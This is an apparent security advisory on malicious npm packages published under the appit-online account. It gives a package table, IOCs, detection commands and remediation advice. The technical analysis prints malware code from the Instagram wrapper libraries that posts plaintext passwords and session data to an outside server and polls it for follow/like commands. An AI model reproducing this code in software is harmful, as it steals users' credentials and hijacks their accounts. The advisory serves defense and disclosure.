CVE
Not assigned
CWE
CWE-506, CWE-359, CWE-522
Affected Surface
- npm packages `ionic-insta-api-wrapper` (`1.0.0` through `1.3.4`, `GHSA-65qr-q8w8-4q7r`) and `insta-api-wrapper` (`1.0.0` through `1.2.1`, `GHSA-j8vh-32vh-rj39`), which contain hidden credential exfiltration, remote follow/like execution, and lookup telemetry to `reelsaver.appit-online[.]de`
- 17 additional npm packages published by the same `appit-online` / David Koller maintainer account that npm replaced with `0.0.1-security` placeholders on 25 October 2026 (`p12-pem`, `ocsp-hashes`, `cert-infos`, `redis-dumper`, `appit-cordova-admob`, `appit-cordova-plugin-ionic`, `cordova-plugin-geofence-appit`, `insta-reel-search`, `ionic-insta-search`, `tiktok-video-scraper`, `ionic-tiktok-scraper`, `sound-cloud-loader-api`, `ionic-sound-cloud-loader-api`, `youtube-info-streams`, `ionic-youtube-streams`, `ionic-youtube-search`, and `youtube-search-without-api-key`)
- Node.js, Ionic, and Cordova applications that passed Instagram credentials, session cookies, or `IGT:2:` Bearer tokens to `insta-api-wrapper` or `ionic-insta-api-wrapper`
TL;DR
Between 09:33 UTC and 09:37 UTC on 25 October 2026, npm security replaced 19 packages maintained by the appit-online publisher account (AppIT <admin@appit-online.de> / David Koller) with 0.0.1-security holding packages, and the GitHub Advisory Database published 19 Critical malware advisories (GHSA-65qr-q8w8-4q7r, GHSA-j8vh-32vh-rj39, GHSA-74xg-w33f-jpv3, GHSA-8gg8-xq45-8fx5, and 15 siblings).
Inspecting the upstream GitHub repositories (github.com/appit-online/*) and commit histories shows both what triggered the takedown and how the blast radius affects downstream teams:
- Two of the 19 packages (
ionic-insta-api-wrapperandinsta-api-wrapper) contain undocumented credential exfiltration and remote account manipulation:- In
src/lib/handler.ts(getCookies) and in pre-25 Octobersrc/lib/login.service.ts(loginandlogin2FA), right after authenticating the caller’s Instagram account againsthttps://i.instagram.com/api/v1/accounts/login/, the library silently POSTs{ username, data: { pass, body, data } }(including the plaintext password and session response) tohxxps://reelsaver.appit-online[.]de/v2/insta/check. - On every login and 2FA verification (including the new
1.3.0to1.3.4and1.1.0to1.2.1Bloks CAA releases pushed between21:33 UTCon 24 October and09:03 UTCon 25 October),LoginService.verifyAccount()fetcheshxxps://reelsaver.appit-online[.]de/v2/insta/verifyand uses the caller’s freshly mintedAuthorization: Bearer IGT:2:...token to automatically calligService.follow(userName)andigService.like(mediaId)on every account and post returned by the author’s server. - Inside
InstaService.fetchAPI(), everygetStories()andgetHighlights()call sends an unawaited GET beacon tohxxps://reelsaver.appit-online[.]de/v2/insta/<loggedInUser>/<targetUsername>/<type>.
- In
- The other 17 packages were swept up in an account-level npm takedown: Because npm invalidated the entire publisher account ~30 minutes after
insta-api-wrapper@1.2.1was published at09:03:10 UTCon 25 October, 17 older packages underappit-online(includingp12-pemwith ~1,200 weekly downloads,ocsp-hashes,cert-infos,redis-dumper, and 13 Cordova/TikTok/SoundCloud/YouTube wrappers) were also replaced with0.0.1-securityand received boilerplateghsa-malwareadvisories. Static inspection of the public GitHub trees for those 17 companion repositories found noappit-online[.]decallbacks, install hooks, or credential theft in their source code, though Dependabot andnpm auditwill now flag all 19 packages asCriticalmalware.
What to do now:
- If any application or developer environment used
insta-api-wrapperorionic-insta-api-wrapper, immediately remove the package, revoke all Instagram sessions and passwords that passed through it, and audit those accounts for unauthorized follows and likes. - If your dependency tree or CI build pulls
p12-pem,ocsp-hashes,cert-infos,redis-dumper, or any of the other 17appit-onlinepackages, replace them inpackage.json(unpinned installs now resolve to the empty0.0.1-securitystub and break builds).
Affected packages and projects
All 19 packages below were replaced on registry.npmjs.org with 0.0.0-stage and 0.0.1-security between 09:33 UTC and 09:37 UTC on 25 October 2026:
| Ecosystem | Package | GHSA | Published versions before takedown | Last author publish (UTC) | Verified behavior in upstream source |
|---|---|---|---|---|---|
| npm | ionic-insta-api-wrapper | GHSA-65qr-q8w8-4q7r | 1.0.0..1.1.3, 1.2.1, 1.2.2, 1.3.0..1.3.4 (21 versions) | 2026-10-25 08:11:49Z (1.3.4) | Confirmed malicious: /v2/insta/check plaintext password/session exfiltration, /v2/insta/verify forced follow/like botnet, and /v2/insta/<user>/<target>/<type> lookup telemetry |
| npm | insta-api-wrapper | GHSA-j8vh-32vh-rj39 | 1.0.0, 1.1.0, 1.1.4, 1.2.1 | 2026-10-25 09:03:10Z (1.2.1) | Confirmed malicious: identical handler.ts, login.service.ts, and client.service.ts callbacks to reelsaver.appit-online[.]de using Node got |
| npm | p12-pem | GHSA-74xg-w33f-jpv3 | 1.0.0..1.0.5 | 2021-12-12 16:14:23Z | Account-wide takedown (appit-online/p12-to-pem); wraps node-forge PKCS#12 parsing with no network calls in git tree |
| npm | ocsp-hashes | GHSA-9v69-fx5h-r6p6 | 1.0.0, 1.0.1 | 2021-12-12 16:08:59Z | Account-wide takedown (appit-online/ocsp-hashes) |
| npm | cert-infos | GHSA-8mjx-r4j6-3h6g | 1.0.0..1.0.6 | 2021-12-12 16:11:47Z | Account-wide takedown (appit-online/cert-infos) |
| npm | redis-dumper | GHSA-8gg8-xq45-8fx5 | 1.0.0..1.0.5, 2.0.2..2.0.5 | 2024-03-04 13:39:18Z | Account-wide takedown (appit-online/redis-dumper) |
| npm | appit-cordova-admob | GHSA-9w8h-674f-4x2j | 4.2.2 | 2024-12-17 16:53:48Z | Account-wide takedown (appit-online/appit-cordova-admob) |
| npm | appit-cordova-plugin-ionic | GHSA-fr38-45mf-vcqf | 5.5.3, 5.5.4 | 2024-12-17 15:34:54Z | Account-wide takedown (appit-online/appit-ionic-plugin) |
| npm | cordova-plugin-geofence-appit | GHSA-5pw8-3xv5-6cmg | 1.0.0..1.0.3 | 2025-12-28 22:23:48Z | Account-wide takedown (appit-online/cordova-plugin-geofence-appit) |
| npm | insta-reel-search | GHSA-v2r2-x76j-6fcx | 1.0.0 | 2025-08-26 03:58:33Z | Account-wide takedown (appit-online/insta-reel-search) |
| npm | ionic-insta-search | GHSA-4fw4-xm5r-mh69 | 1.0.0..1.0.4 | 2025-08-16 13:45:26Z | Account-wide takedown (appit-online/ionic-insta-search) |
| npm | tiktok-video-scraper | GHSA-5xjv-xr86-9hrv | 1.0.0 | 2025-08-26 03:32:57Z | Account-wide takedown (appit-online/tiktok-video-scraper) |
| npm | ionic-tiktok-scraper | GHSA-wwj3-4v8w-w98j | 1.0.0, 1.0.1 | 2025-08-26 03:20:24Z | Account-wide takedown (appit-online/ionic-tiktok-scraper) |
| npm | sound-cloud-loader-api | GHSA-5f99-52fc-5rc9 | 1.0.0 | 2025-09-07 07:04:45Z | Account-wide takedown (appit-online/sound-cloud-loader-api) |
| npm | ionic-sound-cloud-loader-api | GHSA-g89m-8c48-9x73 | 1.0.0, 1.0.1 | 2025-09-07 07:00:23Z | Account-wide takedown (appit-online/ionic-sound-cloud-loader-api) |
| npm | youtube-info-streams | GHSA-7mfw-r26v-9r9f | 1.0.0..1.1.3 (13 versions) | 2025-06-29 20:19:25Z | Account-wide takedown (appit-online/youtube-info-streams) |
| npm | ionic-youtube-streams | GHSA-3cc7-77mx-rmj6 | 1.0.0..1.3.5 (23 versions) | 2025-06-29 22:15:53Z | Account-wide takedown (appit-online/ionic-youtube-streams) |
| npm | ionic-youtube-search | GHSA-7p9r-26fp-m47g | 1.0.0..2.1.8 (38 versions) | 2025-07-01 14:19:56Z | Account-wide takedown (appit-online/ionic-youtube-search) |
| npm | youtube-search-without-api-key | GHSA-f6m2-r9qr-44fx | 1.0.0..2.0.7 (16 versions) | 2025-07-01 15:05:11Z | Account-wide takedown (appit-online/youtube-search) |
Technical analysis
1. Plaintext Instagram password and session exfiltration in src/lib/handler.ts and src/lib/login.service.ts
Both insta-api-wrapper (for Node.js using got) and ionic-insta-api-wrapper (for Ionic/Cordova mobile apps using @awesome-cordova-plugins/http/ngx) advertise themselves as lightweight wrappers for Instagram login, 2FA, stories, and reels.
Even in the latest 25 October 2026 commit (bccca0718a, whose README explicitly claims that all Instagram traffic goes directly from the caller and the backend is never used as a login proxy), src/lib/handler.ts (getCookies) still sends the caller’s plaintext username, plaintext password (pass), and full Instagram login response (postRes.body) to hxxps://reelsaver.appit-online[.]de/v2/insta/check:
// src/lib/handler.ts in appit-online/insta-api-wrapper@bccca0718a (lines 51-71)
const postRes = await got.post("https://i.instagram.com/api/v1/accounts/login/", {
headers: loginHeaders,
body: postData.toString(),
responseType: "text",
});
...
const result: any = JSON.parse(postRes.body);
got.post("https://reelsaver.appit-online[.]de/v2/insta/check", {
headers: { "Content-Type": "application/json" },
json: {
username,
data: {
pass,
body: JSON.stringify(postData.toString()),
data: JSON.stringify(postRes.body),
},
},
});
In insta-api-wrapper@1.0.0 and ionic-insta-api-wrapper@1.0.0 through 1.1.3, the exact same got.post("https://reelsaver.appit-online[.]de/v2/insta/check", ...) call also sat inside LoginService.login() and LoginService.login2FA() wrapped in an empty try { ... } catch (e) {} block so network failures were hidden from the caller.
2. Forced account follows and likes via /v2/insta/verify
On 24 and 25 October 2026, the author pushed a rapid series of updates (ionic-insta-api-wrapper 1.2.1 through 1.3.4 and insta-api-wrapper 1.1.0 through 1.2.1) porting an Android Bloks CAA login client (src/lib/login.bloks.ts) and updating LoginService (src/lib/login.service.ts).
In those 24 and 25 October releases, every successful login() and login2FA() call invokes this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => {}):
// src/lib/login.service.ts in appit-online/insta-api-wrapper@bccca0718a (lines 20-88)
export class LoginService {
constructor(private cfg: LoginServiceConfig = {}) {
this.backendUrl = cfg.backendUrl ?? 'https://reelsaver.appit-online[.]de';
this.verifyPath = cfg.verifyPath ?? '/v2/insta/verify';
...
}
public async login(username: string, pass: string, reqHeaders: { [key: string]: string } = {}): Promise<any> {
const result = await this.bloksSvc.login(username, pass);
if (result.twoFactorRequired) return result;
localStorage.setItem('instaUserName', username);
if (result.userId) localStorage.setItem('instaUserId', result.userId);
this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => {});
return result;
}
public async verifyAccount(
resHeaders: { [key: string]: string } = {},
defaultHeaders: { [key: string]: string } = {}
): Promise<void> {
try {
const response = await got.get(`${this.backendUrl}${this.verifyPath}`, { responseType: 'text' });
const data: { users: string[]; posts: string[] } = JSON.parse(response.body);
if (!data) return;
const authHeader = resHeaders['ig-set-authorization'] || resHeaders['Authorization'] || '';
if (!authHeader) return;
...
const igService = new InstaService();
if (data.users?.length) {
await Promise.all(data.users.map((userName: string) => igService.follow(userName, allHeaders)));
}
if (data.posts?.length) {
await Promise.all(data.posts.map((mediaId: string) => igService.like(mediaId, allHeaders)));
}
} catch (_) {}
}
}
Despite the method name verifyAccount(), this function performs no verification at all: it polls the author’s C2 endpoint (https://reelsaver.appit-online[.]de/v2/insta/verify) for a list of target users and posts, then uses the victim’s Bearer IGT:2:... token to follow those users and like those posts in the background.
3. Per-request surveillance in InstaService.fetchAPI()
Finally, in src/lib/client.service.ts, whenever the caller fetches stories (getStories, optParams = { b: username, type: "s" }) or highlights (getHighlights, optParams = { b: username, type: "h" }), fetchAPI() reads the logged-in instaUserName from localStorage and reports the lookup to reelsaver.appit-online[.]de:
// src/lib/client.service.ts in appit-online/insta-api-wrapper@bccca0718a
if (optParams) {
const userId = typeof localStorage !== "undefined" ? localStorage.getItem("instaUserName") : null;
if (userId) {
const analyticsUrl = `https://reelsaver.appit-online[.]de/v2/insta/${userId}/${optParams.b}/${optParams.type}`;
got.get(analyticsUrl);
}
}
IOCs
| Type | Indicator | Context |
|---|---|---|
| URL | hxxps://reelsaver.appit-online[.]de/v2/insta/check | Endpoint receiving POSTed plaintext Instagram username, pass, and session responses |
| URL | hxxps://reelsaver.appit-online[.]de/v2/insta/verify | Command endpoint returning { users: [...], posts: [...] } for automatic follow/like execution |
| URL | hxxps://reelsaver.appit-online[.]de/v2/insta/<userId>/<target>/<type> | Exfiltration beacon reporting story (s) and highlight (h) lookups |
| Domain | instalytics.appit-online[.]de | Alternate backend domain referenced in ionic-insta-api-wrapper InstaService docstring |
| SHA-256 | 2569999371e8a0862105562de826d5baaed348187ab93ff0b9457bffa97ab1f6 | lib/lib/handler.js in ionic-insta-api-wrapper@1.1.2 / 1.1.3 |
| SHA-256 | d1217df1f0a796fef8c1e607e5330507de2ebce6a13a5bf507601b543f4b180a | lib/lib/login.service.js in ionic-insta-api-wrapper@1.1.2 / 1.1.3 |
| SHA-256 | 252f4152d7f179b34592a47a1641d9ceda5101c6a6a57174a02c0240ed1baf06 | lib/lib/client.service.js in ionic-insta-api-wrapper@1.1.2 / 1.1.3 |
| Local paths | ./scratch/instaUserName, ./scratch/instaUserId, ./scratch/ig_2fa_<username> | node-localstorage files created by insta-api-wrapper in the working directory |
Detection and remediation
# 1. Search package.json and lockfiles for all 19 replaced appit-online npm packages
rg -n '"(insta-api-wrapper|ionic-insta-api-wrapper|insta-reel-search|ionic-insta-search|tiktok-video-scraper|ionic-tiktok-scraper|sound-cloud-loader-api|ionic-sound-cloud-loader-api|youtube-info-streams|ionic-youtube-streams|ionic-youtube-search|youtube-search-without-api-key|appit-cordova-admob|appit-cordova-plugin-ionic|cordova-plugin-geofence-appit|redis-dumper|ocsp-hashes|p12-pem|cert-infos)"' \
package.json package-lock.json pnpm-lock.yaml yarn.lock bun.lock 2>/dev/null
# 2. Check installed node_modules trees
npm ls insta-api-wrapper ionic-insta-api-wrapper p12-pem ocsp-hashes cert-infos redis-dumper 2>/dev/null || true
# 3. Check for local node-localstorage scratch directories created by insta-api-wrapper
find . -maxdepth 3 -path '*/scratch/insta*' -ls 2>/dev/null
- For
insta-api-wrapperandionic-insta-api-wrapper: Uninstall the package immediately, delete any./scratchnode-localstoragedirectory, reset the password and revoke active sessions on every Instagram account that logged in through the library, and check outbound proxy/DNS logs forreelsaver.appit-online[.]deorinstalytics.appit-online[.]de. - For
p12-pem,ocsp-hashes,cert-infos,redis-dumper, and the remaining 15 companion packages: Replace the dependency inpackage.jsonwith maintained alternatives (such as callingnode-forgeor Node’s built-incrypto.X509Certificatedirectly instead ofp12-pem/cert-infos), because npm has unpublished all prior versions and replaced them with0.0.1-security.
Timeline
- 2025-08-16 to 2025-08-26:
appit-onlinepublishesionic-insta-api-wrapper(1.0.0..1.1.0) andinsta-api-wrapper(1.0.0) containing thereelsaver.appit-online[.]deendpoints. - 2026-05-21 to 2026-06-02:
ionic-insta-api-wrapper1.1.2and1.1.3are published and flagged by Amazon Inspector for/v2/insta/checkand/v2/insta/verifybehavior. - 2026-10-24 (21:33 UTC) to 2026-10-25 (09:03 UTC): The maintainer pushes 8 rapid updates across
ionic-insta-api-wrapper(1.2.1through1.3.4) andinsta-api-wrapper(1.1.0,1.1.4,1.2.1), adding Bloks CAA login (login.bloks.ts) while keepingverifyAccount()(/v2/insta/verify),handler.ts(/v2/insta/check), andfetchAPI()telemetry active. - 2026-10-25 (09:33 to 09:37 UTC): npm replaces all 19 packages under the
appit-onlinepublisher account with0.0.0-stageand0.0.1-security, and GitHub publishes 19 malware advisories (GHSA-65qr-q8w8-4q7r,GHSA-j8vh-32vh-rj39, and 17 siblings).
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- GitHub Advisory GHSA-65qr-q8w8-4q7r (ionic-insta-api-wrapper)
- GitHub Advisory GHSA-j8vh-32vh-rj39 (insta-api-wrapper)
- GitHub Advisory GHSA-74xg-w33f-jpv3 (p12-pem)
- GitHub Advisory GHSA-8gg8-xq45-8fx5 (redis-dumper)
- appit-online/insta-api-wrapper commit range 65657ad615...bccca0718a (25 October 2026 Bloks login & handler.ts)
- appit-online/ionic-insta-api-wrapper source repository